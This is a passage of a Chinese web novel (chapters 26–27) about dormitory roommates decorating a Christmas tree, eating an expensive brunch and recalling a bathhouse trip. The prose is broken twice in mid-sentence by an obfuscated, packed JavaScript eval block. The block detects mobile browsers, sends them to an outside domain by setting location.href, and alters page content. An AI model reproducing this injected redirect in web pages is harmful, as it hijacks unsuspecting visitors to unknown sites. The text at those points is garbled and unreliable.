那次窘迫的跨年后,“相约跨年”在我们生活里消失了。不知道李离每年怎么跨的年,我都是窝在家里读书或看电影,人山人海的喧闹声让我头疼。反而将热闹作为背景音,清清静静地一个人待着更让我惬意。李离嘲笑我像是个严守清规戒律的小尼姑。那又怎么样,自己开心比什么都重要。 我看了一眼李离,她歪着脑袋还在沉思。我不知道她有没有想起我们那次窘迫的经历,或许她早就已经忘记了。我们俩聊起很久之前的某一件事,她总是说,那么久了,你怎么还记得?李离的记性一直不好,这是她厌恶历史的主要原因。对她来说,超过一年的事情就没有记住的必要性了,更何况几百年甚至几千年前那些陈芝麻烂谷子且跟我们没一毛钱关系的历史。 其实有时候,我很羡慕她,无论是快乐或者痛苦,似乎都不会占据她的人生的内存。也许她只是单纯地按下Delete键,就能够将一切归零。 凌静宜的微信消息在我们的小群里弹了出来,“你们都穿好衣服,或者都待在房间里。” 我和刘小叶对望了一眼,在彼此的眼里读到了同一个疑问——她不是已经回家了吗? 26. 第 26 章 刘小叶裹着被子,瓮声瓮气地问:“凌静宜在干什么?” 外面一片噪杂,宿管科大妈洪亮的声音大概在操场都能听见,“不行,搬东西也不能进。” 凌静宜让搬运工在宿舍楼下等。她从包里掏出两张百元大钞,塞进大妈的口袋里,不带任何表情地说:“阿姨,帮个忙,他们把东西放下就走。” “小姑娘,这不合规矩。”大妈不为所动。 “您帮帮忙。保证不会影响到别人。”她又摸出三张一百块,“顶多十分钟。” “勉强破例一次。让他们快一点哦。”大妈让开,装作什么都没看到。 关于金钱如何达到使用效率最大化,凌静宜完全可以开一门课,或者出一本书,也许可以做个全球性质的演讲。能用钱搞定的事情,她从不会多费别的力气。 凌静宜像一个女王一样,优雅地踱进客厅,冲着外面说:“都搬进来吧,放在这里就行了。” 我们竖起耳朵听动静,只听到一声“别东看西看,赶紧出去!”,外面彻底安静了下来。 李离压低声音问:“搞什么呢?宿舍安装设备?” 我和刘小叶整齐划一摇了摇头。猜不透凌静宜在搞什么。 “起来了没?”凌静宜在客厅里喊,同时从包里掏出免洗洗手液,好像刚刚搬东西的人是她。 我们披上衣服,推开门,看见一棵碧绿的修剪的很漂亮的小树放在客厅的正中间。还有两个纸箱子,整齐地堆放在小树旁边。 许苑薇揉一揉惺忪的眼睛,“我没看错吧?那是一棵真的圣诞树?” “哇塞,太给力了!真的圣诞树哎,我不是在做梦吧!”刘小叶围着圣诞树来回转圈,恨不得跑起来。 我们靠近圣诞树,七嘴八舌地讨论要不要买些装饰品挂上去。 凌静宜看上去一如既往的淡然,可上挑的眉毛和微微上扬的嘴角出卖了她,就差在额头上写“快夸我”了——我禁不住想到邀宠的毛茸动物。冷漠、桀骜、不屑、淡定……我曾认为这些是凌静宜的标配,可现在,她是傲娇的,也是可爱的。 她打开紧挨着圣诞树的小箱子,刘小叶扒拉着箱子边缘,发出了一声欢呼——箱子里是各种各样的小彩灯、小铃铛还有彩带之类的装饰物。 我们七手八脚地把小彩灯和小铃铛挂到树上,瞬间寝室有了圣诞节的氛围。刘小叶一脸沉醉地望着圣诞树,喃喃自语:“第一次过有圣诞树的圣诞节,真好。” “Everyone,平安夜快乐!”凌静宜扬起下巴,显然我们的表现取悦了她,大家都对这个仪式感很满意。 刘小叶绕着圣诞树舞动双手,大声宣布我们大学里的第一个圣诞节即将到来,而我们的友谊会天长地久——天知道圣诞节和友谊有什么关系。 对她的这番煽情言论,许苑微在旁边抿着嘴笑得跟偷了腥的猫一样;陈梦晓冷不丁打了个哆嗦,连连表示她的接受无能:“刘小叶,你还能再老土再肉麻一点吗?!” 对于这个问题,刘小叶用行动做了回答——她像只无尾熊一样挂在了陈梦晓身上,不停地来回晃荡。陈梦晓扒拉了几次都没能甩开刘小叶,她像块橡皮糖一样牢牢地粘在她身上。 “谁能把刘小叶拖出去?”陈梦晓绝望地嚷嚷,把眼光投向了我和凌静宜。 我看了她俩一眼,决定不掺和,“啊……差点忘记了,衣服还扔在洗衣机里,我得把它们捞起来。”旁若无人地从小陈哥的旁边走了过去。 陈梦晓哀嚎了一声,“周小西,你的衣服早该馊了!” 凌静宜也装作没有听见,她走过来勾住我的胳膊,煞有介事地讨论占用公共空间是不道德的行为,我们应该考虑把洗衣机从卫生间搬到阳台上。仿佛阳台不属于公共空间。 谁都没有在意,郑筱站得远远的,一副心不在焉的样子。 李离靠在门框上,皱着眉头,若有所思。我沉浸在快乐的氛围里,尽管注意到她的异常,却没有太在意。情绪是一个很奇怪的东西,有时候,快乐到极致反而想哭,也是喜悦的宣泄。 直到很久以后回想起来,才意识到李离的不开心。那是我第一次见到她真实的不快乐——她没心没肺的程度跟刘小叶是五十步和一百步的差距——而我竟然完全忽略了。我们之间的隔阂是否从这里开始,不得而知。可我的漠视,必然起到了推波助澜的作用。 我们时常误认为自己对友情很了解,事实上,大多数人对它一无所知:友情也会掺杂着嫉妒、不公和攀比,从这点上来说,它跟爱情并没有什么不同。 许苑薇推了推她的眼镜,问:“我们什么时候开始装饰宿舍?” “当然是马上开始啊!”不用问,听风就是雨的除了刘小叶绝对没有第二人选。 我们打打闹闹地把雪花和星星造型的小彩灯挂在窗帘后面,插上电的一瞬间,许苑薇发出一声惊叹,“太美了!” “你们俩发什么呆啊?快来帮忙贴贴纸。”陈梦晓从窗台上跳下来,冲着郑筱和李离招呼。 我们在玻璃上贴红帽子绿围巾的小雪人、红帽子白胡子的圣诞老人,还有奔跑的麋鹿……刘小叶建议说我们应该找个鹿头放在客厅的墙上。当然没有一个人搭理她。 装扮完宿舍,凌静宜去洗澡了,其余人集体瘫倒。许苑薇和陈梦晓分别占据了沙发的两头,李离和我肩并肩坐躺在中间。刘小叶想来跟我们挤,被七手八脚地推了出去。她直接瘫在了毛毯上,手脚张开,躺成了个“大”字。 “我们接下来干什么?”陈梦晓声音慵懒地像一只刚睡醒的猫。 “说起来,我们都没集体活动过哎……”刘小叶躺在那,梦呓一样地说话。 “怎么没有?不是经常一起去食堂吃饭吗?”陈梦晓漫不经心地说:“还有一起去看电影……” 她话音还没落,刘小叶嚷嚷了一句,“那些不算。” 陈梦晓正准备反驳她,我把手放在她肩头上。她惊诧地望向我,我以微小的幅度对她摇了摇头。她石破惊天一样意识到了什么——慌乱地偷瞄了一眼许苑薇——她好像没听见,半眯着眼睛靠着沙发扶手,像在打盹。我们俩对望了一眼,悄悄地舒了口气。 刘小叶猛地坐起来,兴高采烈地提议:“择日不如撞日,正好今天大家都在,我们一起去市区逛逛怎么样?” “逛街啊?”陈梦晓重新窝进沙发里,意兴阑珊,“你们去吧,我下午还有比赛呢。” “比赛很快的,我们看完你比赛直接走呗。” “逛街太无聊了,我没兴趣。” “也不一定要逛街啦……”刘小叶拖长了尾音,“小陈哥……一起嘛。” 真没想到,刘小叶会动用撒娇这一招。我知道她经常跟欧祈撒娇,但没想到如此具有杀伤力,我的鸡皮疙瘩纷纷战栗着抗议。 “你确定我们要一堆人一起去逛街?”凌静宜刚从浴室里出来,她穿着藕粉色的真丝睡衣,用一条烟灰色的埃及棉毛巾擦头发,一滴水珠落在她的睫毛上,像刚刚梳理过毛发的波斯猫。微微眯起的眼睛表明她现在处在不爽的边缘,下一刻就会亮出她的爪子。 陈梦晓站起来伸了个懒腰,非常不耐烦地回道:“不去不去。逛街还不如睡觉,而且我的游戏还没通关呢。” “哎呦……游戏有什么好玩的啦。”刘小叶继续捏着嗓子撒娇,“你就跟人家一起去市区好不好嘛。” 我的脑海里闪现出青楼老鸨的形象,真是罪过。 陈梦晓还没说什么,凌静宜已经按捺不住了。她瞪着刘小叶,眼睛冒火,“我费了这么大劲儿布置宿舍过圣诞,你居然要拉大家去逛街?!还有,刘小叶,你敢再给我说一个啦,呀,嘛的试试,我会让你知道什么叫生不如死。” 刘小叶马上噤若寒蝉,十秒钟之后,她不怕死地轻声嘟囔着:“现在还是大白天,我们难道就在宿舍里大眼瞪小眼?啊啊啊……生无可恋啊!!!” 凌静宜压根不理她,一边往房间走一边说:“我在新开的那家西餐厅预定了位置,九点三刻。希望我们不会迟到!” 当我们终于错愕地反应过来时,她已经换好了精心挑选的Prada当季连衣裙,而且化好了妆。她用精致妆容,跟我们形成了完美对照组:我们穿着睡衣,头发凌乱,显得邋遢且不修边幅。 “你们还有十五分收拾自己。”她看了一眼自己新买的腕表,轻轻地摸了摸表盘表达对它的喜爱——看样子应该是这一季的Gucci时装表。 我们像一群刚从疯人院出来的疯婆子,来回穿插着刷牙洗脸涂抹护肤品,手忙脚乱地套上外套,在换衣服的间隙抓两下头发。 小陈哥早上出去晨跑,早就洗漱完毕,她淡定地换了件外套之后插着口袋看我们像一群被猎豹突袭的羚羊一样四处乱窜,且非常无耻地问凌静宜:“我们要不要喝个咖啡再走?” 我和刘小叶挤在卫生间的洗脸池洗漱,她一边刷牙一边嘟嘟囔囔:“她难道是在洗澡的时候预定的位置?”刘小叶显然是一个完全不了解预约制度的人,她总是认为在到达前半小时打个电话就能搞定位置预定。 大概十分钟后,我们集体坐在了人口稀少的西餐厅里,凌静宜一如既往的优雅大方,陈梦晓始终如一的帅气逼人,而我们……一如每天早晨的蓬头垢面。唯一的不同是,鸡窝头变成了爆炸头。我至少在衣服下面穿上了胸罩,而刘小叶觉得冬天穿不穿胸罩都没差别。我非常想告诉她,胸罩不仅仅能让两颗旺仔小馒头看上去像饱满的小笼包,也能让她略微低头的小白兔昂首抬头。 别问我为什么知道,这要追溯到我被刘小叶诓去公共浴室。 大概是两个星期之前,我们上完课回到宿舍,我准备先舒舒服服地洗个澡,然后窝上床码字。然而我刚把洗发露揉到头发上,淋浴喷头就不出水了。拿毛巾擦了擦眼睛,我试着左右转动水龙头,还是一滴水都没有。 我擦了擦手,拿起手机在群里发了一条微信。万分庆幸自己带了手机进浴室。 ——水龙头不出水,是不是哪儿坏了? ——你没看到楼下贴的通知吗?我们楼今天下午三点开始停水。 郑筱第一个回了微信。然后,许苑薇、陈梦晓、凌静宜和刘小叶的回复依次弹出来。 ——幸好今天我不洗澡。 ——幸好我已经洗过澡了,学校游泳池的浴室今天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997362|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我包场!! ——通知什么时候来水?要是没水我就回家了。 ——我已经两天没洗头了,好好的停什么水啊!!!! 看了眼手机,三点零二分。从来不准时的校务在停水时间上误差居然可以小到忽略不计。 我万分郁闷地给刘小叶发了条微信,告诉她目前我在浴室里顶着一头泡沫,急需她的帮助。 大概三分钟之后,刘小叶在浴室门口喊:“小西,开门。” 我裹好浴巾打开门,她端着一个锅站在门口,“省着点用,饮水机也不剩多少水了。”瞬间觉得在刘小叶的头顶上有一圈圣母光环。 勉强用那一锅掺冷水把头发冲干净,水实在太少,顺带草草冲完身体,感觉身上黏糊糊的,很不舒服。我万分狼狈,回到房间瘫坐在椅子上。 刘小叶眨巴着她忽闪忽闪的大眼睛,说:“小西,不然我们今天去公共浴室吧。” 我有点犹豫,刘小叶表示公共浴室里有隔间,她信誓旦旦地保证只要迅速钻进隔间,和在宿舍里洗澡没差别。 进了澡堂,欲哭无泪:刘小叶这个大骗子,哪有什么隔间,在更衣室我就受到了视觉上的极大冲击。我反思自己最近的智商是不是受到了潮汐效应的影响,居然会相信刘小叶这个神棍的忽悠。 面对脱得光光的女性身体,我像个封建卫道士,恨不得自戳双目,外加戳瞎其他人的眼睛。刘小叶就不一样了,她四处看来看去,特别喜欢盯着别的女生的胸部,我甚至不道德地怀疑她的性取向。 在更衣室磨蹭了半天,我绝望地发现自己没带浴巾。当我战战兢兢披着毛巾穿着内衣进了淋浴间,看到的就是挤在一起的……白花花的□□。更可怕的是,那天人特别多。一个水龙头下面站着四到五个女生,大家轮流洗头发打沐浴露冲水,一不小心就会碰到别人,甚至还会出现屁股撞屁股的窘迫。 正在我捂着胸茫然地找水龙头时,刘小叶挥舞着胳膊大声喊我的名字,一对小白兔随着她的动作在胸前微垂着来回晃荡,她大声喊:“周小西,你穿着内衣怎么洗澡啊!!” 那一刻,我恨不得把自己变成泡沫从下水道冲走。 我低着头挤到她旁边,以最快的速度洗好了澡,冲出去穿好了衣服。 在更衣室等了刘小叶十五分钟,她出来后大惊小怪地抱怨:“我好不容易抢到个水龙头,你才洗了几分钟?!” 我借口里面太闷,先出去等她。 女浴室对面就是男浴室,居然碰到了简瑞洺——他穿着米色毛衣,刚刚洗过的头发有些湿,看上去软软的,有些桀骜野性的凌乱,脸上微微泛着红晕。整个空气中散发着荷尔蒙的气息。 我的脸一下子变得很烫,似乎耳朵也在烧。我迅速低下头,用凌乱的头发挡住脸,生怕他看到我的样子。 叶翔迎面走了过来,他穿了一件绿色马海毛的大毛衣外套,大概是Prada这一季炒得很热的限量。我很怀疑除了他之外,谁会穿得如此浮夸地来澡堂洗澡。 等等?为什么这只妖孽会来学校澡堂?在我的概念里,他和凌静宜出现在公共澡堂就像恐龙不在侏罗纪而出现在21世纪一样不可思议。 刘小叶掀开厚重的浴室门帘,一惊一乍地喊:“咦,小西,你的脸怎么这么红?!澡堂里也没那么闷啊。” 简瑞洺只是不经意扫了我们一眼,随即目光转向另一边。 “哎,瑞洺,你今天怎么来学校了?”叶翔扬起眉毛跟见了外星来客一样。 几乎同时,刘小叶兴高采烈地冲他喊:“别看了,凌静宜没来。” 她顺着叶翔的眼光看过去,揉了揉眼睛,指着简瑞洺颤微微地问:“这个是活的计算机系大神……吗?” 简瑞洺闻言仔细打量了我们两眼,我一把捂住刘小叶的嘴。恨不得有个地洞让我可以钻进去,顺便拖上刘小叶。在她没说出让我们更加丢脸的话之前,我拉着她快速从叶翔旁边冲了过去。 在回宿舍的路上,刘小叶兴致勃勃地想跟我讨论到底叶翔和简瑞洺的颜值谁更胜一筹,我压根不想搭理她,满脑子都是刚才简瑞洺看我们的眼神——有好奇、探究,似乎还有那么一丝丝的戏谑。努力回想他望向我们的眼神中究竟有没有掺杂着不屑、轻视,觉得这俩女的怕不是神经病吧,然而一无所获。我懊恼地摇了摇头——来公共浴室从开始就是个错误! 突然,刘小叶凑到我身边,一副神秘的样子,问:“小西,你刚刚看到庄子羽了吗?” 我茫然地摇了摇头。 “你居然错过了这么重要的事情。” 刘小叶啧啧了两声之后,压低声音说:“没想到她的□□那么小,最多A cup,搞不好还是A-,跟蚊子叮出来的两个包一样,真叫一马平川。” 回到宿舍,刘小叶依然在回味她所发现的新大陆——“看她平时嚣张的那个样子,我还以为肯定是波霸,敢情都是垫出来的啊!” 我颤巍巍地拉过被子盖住上半身,生怕她来找我讨论我的胸部形状或大小。 “你在想什么呢?”刘小叶在我面前晃着手,我透过她的手指缝看见了面前的盘子里堆了好几块肉,突然有点吃不下。 27. 第 27 章 大概五分钟之前,看到“早午餐:每位盛惠九十八元”的招牌时,刘小叶吞了一下口水,声音嘹亮得能在空气稀薄的冬天校园里产生回音,“它应该马上就会倒闭了吧?”许苑薇和郑筱站在门口,郑筱脸一阵白一阵红,说:“不然我们还是去第五食堂吃早饭吧。” 凌静宜淡定得如同灵魂出窍,连她的眉毛都仿佛老僧入定一动不动,“我已经买过单了,不吃的话也不会退钱。” 话音刚落,刘小叶迅速走了进去,我们紧跟其后,好像刚才在门口探头探脑鬼鬼祟祟的那几个人不是我们。 我想,98元一位的brunch,最起码会有班迪尼克蛋,欧姆蛋,松饼,可丽饼,牛排,三文鱼和咖啡软饮果汁之类的畅饮吧?走进去一看,这是如假包换的中西合并自助餐——餐台的一边是粤式的肠粉、虾饺、小笼包等中式点心,另一边是自助午餐的架势。果然十点之前开始的早午餐都是伪Brunch。 我看了一眼凌静宜,揣测她会直接走出去还是给餐厅负责人上一课再走出去。 出乎意料,她朝着主厨走了过去,好像没看到她经过的那么多食物,淡定地指着面前的茶叶蛋说:“我要一份欧姆蛋。” 主厨笑眯眯地看着她,说:“小姐,所有食物都在餐台上了,您可以自助取用。” 她吸了一口气,“那给我一杯Express……” “不好意思,我们暂时不提供咖啡。那边的果汁和乌龙茶是不限量的,您可以随意取用。”主厨继续带着礼貌且毫不在意的微笑说。 她的表情跟吞了一只苍蝇一样,低声咒骂了一句,转头就往外走。 当然,主厨不会知道,两天之后,餐厅老板将收到一份名为“关于贵餐厅的改进意见”,里面从“Brunch的起源” 以及“关于Brunch的市场调研”开始,详细阐述了作为一份合格的Brunch,单独出品的健康沙拉、水波蛋、烤面包、可颂面包、欧姆蛋都是最基本的。对那些吃得起98元早午餐的人来说,更愿意享用的是酱烧银鳕鱼、三文鱼牛油果、意大利火腿配小豌豆和各种精致的小糕点,最重要的是要有手冲咖啡。下一页是W市最受欢迎的几家餐厅提供的早午餐彩图。 更可怕的是,在这几页后面附带了Brunch的成本利润表。这份报告的最后,凌静宜直白地对餐厅的人员结构及资历做出了建议——肠粉和小笼包把高大上的西式早餐变成了茶馆——降低格调的结果就是客户的流失。自助冷餐式根本不能叫早午餐,不不不,简直是对早午餐的侮辱。 这差不多算是一份完整的商业策划书,我非常怀疑她是不是在餐厅里收买了人搞到了内部数据,然后按照基础会计课程中的三表做了详细分析,并且都附在了这份建议书的后面。 当然这是后话。 凌静宜出离愤怒,刘小叶惊恐地抓住我的胳膊:“她疯了吗?98块呢!!”——我非常想告诉她,她应该抓住凌静宜的胳膊! 陈梦晓伸手一捞,拽住了凌静宜的胳膊,阻止了她往外走,“别跟早餐过不去,我们付了钱的。” 旁边有人倒抽了一口气,低声呼叫:“哇哦,太帅了。” 我的脑袋嗡的一声大了,我的新年愿望是小陈哥的同性桃花退散。如果有符咒的话,我愿意出钱给她买。 凌静宜臭着脸,没好气地对陈梦晓说:“是我付的钱。” 陈梦晓回了她一个邪魅的笑脸,“谁说不是呢。” 旁边又响起了低低的抽气声。在这个空旷的餐厅里,为数不多的几个人目睹了一场颅内臆想的玛丽苏剧情,主人公是少女杀手陈梦晓。 在凌静宜彻底冷静下来之前,我们已经自动分批去挑选自己想吃的食物了:刘小叶往盘子里堆各种食物,还不忘低声音跟我抱怨,“早知道昨天我就不吃晚饭了”,她环顾四周,无比惆怅地说:“我大概吃不回本了”;郑筱和许苑薇一人端了两个盘子,里面也放满了食物;陈梦晓的盘子里只放了一小块牛排、几个扇贝和两块三文鱼…… 凌静宜在另一边闷闷不乐地往盘子里放了两块刺身和两只帝王蟹腿,端了杯牛奶就回了座位。 我本来只想拿点儿海鲜和蔬菜,然而刘小叶不停地往我的盘子里堆她在自己盘子里放不下的鸡翅和牛肉。在挨了我一记白眼之后,她讨好地说:“小西,我的盘子放不下了。” “你的肚子也装不下了。”我挪开了自己的盘子。 “话是没错啦……但不多拿一点,我总觉得自己太吃亏了。” 刘小叶趁李离不注意,又夹了两块牛排放进了她的盘子里,原本李离的盘子里只有两块烤面包和一些海鲜,现在也堆了大半盘。她对李离龇开嘴,“你可以吃我的牛排!”当然收获了李离的一枚白眼。 凌静宜回到位置,恢复了之前的淡定,仿佛压根不认识刚刚那个准备离开的自己。 刘小叶戳着盘子里的烤肠,一边往嘴里塞一边说:“这里的早饭很好吃哎,没有咖啡和什么什么姆蛋有什么关系嘛?!” “仪式感懂不懂?”凌静宜切着三文鱼片,咀嚼吞咽之后慢条斯理地说:“早餐的仪式感全都被破坏了。” 刘小叶瞪大眼睛说:“如果这个词能当饭吃,我每天都来这家餐厅举牌子抗议。” 李离和陈梦晓噗嗤笑了,凌静宜无奈地翻了个白眼之后也笑了,恢复了在食堂吃饭时的欢乐氛围。 我们奋力跟食物作战,凌静宜的电话响了起来。她正在剥蟹腿的壳,优雅地把蟹腿放回盘子里,用纸巾擦了手,然后从包里掏出免洗洗手液,仔细洗了手之后才接起了电话。下一刻她的脸上就像挂了霜一样。 “不好意思,Raymond,麻烦告诉陈总,我已经有安排了。” 那边不知道说了什么,挂了电话之后,凌静宜显得义愤填膺,“甲方了不起吗?!万恶的资本家!!!” 基本上凌静宜对她的甲方都是和颜悦色,只有一位例外。最让我郁闷的是,知道这件事儿的人只有我。我环视四周,发现她们该吃的吃,该喝的喝,压根没有八卦的火花。郑筱和许苑薇靠在一起,轻声讨论一大早吃蒜蓉扇贝会不会一张嘴就被别人拉入拒绝来往的黑名单。我不安地扭动了下身体,往旁边挪了挪。 刘小叶难得吃了些蔬菜,间隙中问:“怎么了?” 凌静宜黑着脸说:“某个神经病甲方明天要跟我开会。” “明天?”刘小叶似乎在确认,“他说的是明天?圣诞节不是外国人的春节吗?他们连年都不过了?” 我忍住翻白眼的冲动,有时候我很想把刘小叶的脑子敲开看一看,里面到底是什么结构,“你从哪里推测出他是外国人?” “不是叫什么Raymay?”刘小叶继续把牛肉塞进嘴,含糊不清地问。 我终于忍不住了,非常畅快地翻了个白眼。我望向凌静宜,顺路接收了大家对刘小叶的白眼,默默回避了李离的询问眼神——她对“资本家”的定义基本就是我和凌静宜级别的。 “首先,对方叫Raymond;其次,他不是外国人。”凌静宜居然还有心思跟刘小叶解释。我不由又看了她一眼,她已经恢复了淡然。 算了,我的情绪管理远远比不上她,不瞎操心我解决不了的问题了。 我们吃了一轮,凌静宜从包里抽出几张纸分发给我们。 瞄了一眼纸上加粗的主题“如何搞好316宿舍的首个圣诞节”,突然想到了我妈。能把节日搞成一个课题研究的,大概都是高段位的妖精。跟她们相比,我是站在山脚下往上看,难以望其项背。 这份圣诞主题餐单的内容包括:圣诞节是否需要游戏环节?如果不吃火鸡的话我们该吃什么?究竟是喝起泡酒、红葡萄酒还是白葡萄酒? 刘小叶耷拉着眉毛小声嘟囔:“这哪儿是过圣诞节?简直是圣诞版考试日。” 坐在我对面的陈梦晓倒是挑了下眉毛,“挺有意思的嘛。” 凌静宜看向她,微微向上昂起的头表达了她的满意。她微笑着说:“不然还是喝起泡酒吧。我查了下天气,明天有雪。起泡酒跟下雪天挺搭的。红酒虽然不错,但……是不是有点过于正式?” 我和陈梦晓异口同声:“仪式感!” 说实话,我才不是为了仪式感,而是我知道凌静宜的酒架上有一支看上去非常不错的红酒。我偷瞄了一眼陈梦晓,显然她也是冲着红酒去的,只是不知道我们爱上的是不是同一款。 凌静宜满意地点了点头。 我和陈梦晓对望了两眼之后,顿时领悟了一个真理:“仪式感”这个词是撬动消费的密码,为它买单的果然大有人在。 “下雪天不是应该去泡温泉?”陈梦晓抛出了一个更具有建设性的意见,“下着雪,喝着起泡酒,泡着温泉。想想都惬意。” 凌静宜侧着头思考了一下,“这是个好提议。今年肯定是来不及了,倒是可以列入明年的备选项。” 我看见刘小叶的眼睛睁得像两颗大杏仁,不可置信地说:“你是说下着雪,脱得光光的在户外泡温泉?真的不会冻死吗?就算不会冷,可那……也太羞耻了吧?我们不然还是去公共澡堂算了。”显然,冬天躶体泡温泉已经超出了她的想象力能抵达的最远时间和空间距离。 “你脱得光光的吧,反正我们会穿泳衣。”凌静宜翻了个大白眼。 在其他各种事项都敲定了之后,凌静宜的心情明显好了起来。她拿出派克纯黑色钢笔(我默默地腹诽,明明派克有那么多别的颜色可以选),然后挨项打勾。 凌静宜来回扫视,将我们的状态一览无余:盘子里还堆得很高,但我们都丧失了战斗力。刘小叶瘫倒在椅子里,摸着自己的肚子,发出了异常满足的打嗝声。 “刘小叶,你再发出猛犸象一样的声音,我就把你扔回奥陶纪。”凌静宜轻描淡写地威胁,用右手食指敲着举在半空中的纸,问:“现在只剩下些细节问题了,我们回宿舍讨论?” 没有人反对。除了餐厅,这么冷的天,也只有宿舍最暖和,况且回宿舍还能躺着。 只是刘小叶问了一个凌静宜想用眼神突突了她的问题,“没吃的东西真的不能打包带走吗?” 凌静宜咬牙切齿地挤出两个字,“不能!” 在回宿舍的路上,凌静宜接了一个电话,表情很淡然。挂电话后,她告知我们晚点等她回来再继续讨论,她需要先去处理一点小破事儿。尽管她说小破事儿花不了太多时间,可微微上挑的眉毛,四两拨千斤的说话方式,表明她要去处理的事情可能相当棘手。 回宿舍之后,除了许苑薇沉浸于欣赏宿舍里美丽的圣诞装饰之外,剩下的人迫不及待地冲向了床睡回笼觉。 刘小叶在躺下的一瞬间发出了一声喟叹:“这才像要过节的样子——吃饱喝足,躺下睡觉。” 我没有力气告诉她,猪也是这么想的。 不知道睡了多久,但在半梦半醒之间,我总觉得有光照在我脸上。那是一种很神奇的感觉——明明光从后面打过来,却直直地照射过来,我不得不眯起眼睛抵挡强光。这不科学! 为了保证睡眠质量,我和刘小叶偷偷把房间里的窗帘换成了双层遮光材料,我还买了真丝的眼罩,确保“闭上眼睛就是天黑”,昏天黑地才是睡眠的正确方式——当然,我们受到了其他成员的嘲笑——两个睡眠质量最好的人,居然还搞这些! 我感觉有一只手在我脸上拍了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997363|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,还有人拽着我的胳膊晃了几下。但我实在不愿意睁开眼睛,只是在心里抱怨:打扰别人得来不易的回笼觉太不礼貌了!睡到自然醒是对时间最起码的尊重。 迷迷糊糊之间听刘小叶和许苑薇的声音。 “她不会是吃了药睡着的吧?”许苑薇有点担心地问。 刘小叶的声音抑扬顿挫铿锵有力,“周小西的睡眠质量还需要吃药?!你们大概忘记了她的鸭子!” 她说的是我们为期一周的军训。 原本我以为躲过了被晒成黑炭的命运,谁能猜到在开学三周后,军训杀了个回马枪。为了不影响排课,站军姿和踢正步被安排在上完大课之后,各个系分散训练。经常能看到我们如同试验田一样,这儿一块,那儿一片。半夜还有紧急集合。检查内务这种事情,间歇性发生,后来成为了铭盛的每周例行检查。 经过三天的折磨,一半的新生在必修课上睡着,另一半瞪着充血和淤青的黑眼圈答非所问;选修课更是重灾区,除了前五排学霸专用区,其余片区都在课堂上欢乐地打着瞌睡。大概每位授课老师都在“一大波僵尸”和“遍地睡罗汉”氛围诡异的课堂上怀疑人生,终于学校在第四天叫停了紧急集合。 然而就在那天晚上,我的鸭子闹钟在凌晨三点半吹起了嘹亮的军号。不巧的是,我从八点半上床睡觉,一直没醒。闹钟顺利地吵醒了除了我和刘小叶之外的所有人。陈梦晓最先忍受不了,她冲进我们房间在我的床头摁掉了闹钟。自那之后,她们禁止我再使用闹钟,勒令把鸭子锁在柜子里。我解释是因为军训时期太累了,平时不会这样,但没一个人相信。 全宿舍广为流传的是:睡眠待机时间最长的是周小西,睡着了之后被拖走都醒不了的是刘小叶。刘小叶还好意思嘲笑我,也不知道是谁周末从来起不来拿早餐!话说欧祈最近有点奇怪,他问了我一些莫名其妙的问题,脑回路清奇,果然是近墨者黑。 凌静宜把我从床上拖起来的时候,顺手扯掉了我的眼罩,鄙视地说:“周小西,你怎么不把胸罩盖在眼睛上?那个效果可比这薄薄的眼罩好得多。” “真的吗?”刘小叶迅速从抽屉里拉出了她的大红色胸罩挡在额头上,喃喃自语:“的确很遮光嘛!” 凌静宜觉得她要晕过去了,翻着白眼扶住了自己的额头。 我勉强睁开眼睛,问:“现在几点了?” “北京时间下午三点半。”凌静宜看了看表,摸了一圈表盘,“你错过了小陈哥的比赛。” 我只愧疚了不到两秒钟,反正小陈哥对于自己是否能拿名次这事儿也很佛系。 “两个第一名,一个第二名。”刘小叶很尽责地播报赛况,“小陈哥简直帅飞了,小西,你没去太可惜了。” “你的事情处理完了?” 凌静宜模棱两可地回答:“Jacob会处理的。” “赶紧起来,我们还有事儿没讨论呢!”刘小叶亢奋得像刚刚打了吗啡一样。 “刘小叶,你去把其他人喊起来。”凌静宜貌似不经意地指挥刘小叶,顿了顿说:“许许,你也一起去吧。” 我打了个颤清醒了——凌静宜准备说什么?支开了刘小叶和许苑薇,单独跟我聊。 她用手摸了摸自己的头发,我意外地在她脸上看到了犹豫、疑惑和踌躇——这不科学,有什么事情能让这只千年妖精拿不定主意? “小西,你还记得上次我们聊过的那件事儿吧?”她从牙齿缝里挤出来一句话。 “什么事儿?”我搜脑刮肠,恨不得把我们之间聊过的事情变成一帧帧的胶片,从中间抽出一张回放,一切清晰了然。 外面传来刘小叶高亢的声音,“小陈哥,你不能挂一会儿机吗?哎……你在打什么游戏?我都没看见过!” “哎……你别抢我鼠标。这是风致公司新游戏的内测版本。” 我被“风致公司”四个字吸引了注意力——那不是简瑞铭的游戏公司吗? “你刚刚说什么?” 回过神来,凌静宜陷入了沉默,“抱歉,我没听清。” 她犹豫了一会儿,说:“算了,我还是自己想想吧。”顿了顿,“你赶紧起来吧。”她像躲瘟疫一样迅速走了出去。 我想追问,刘小叶像一阵风一样地冲了进来,“小西,你怎么还没起来?其他人都在客厅了。” 针织开衫一大半挂在身上,就被她连人带衣服拉到了客厅。 李离和郑筱坐在沙发上,她俩之间还空着大半个人的位置。我侧着身子坐了下去,沙发咯吱了一声,似乎在抱怨我们罔顾自己的体重。 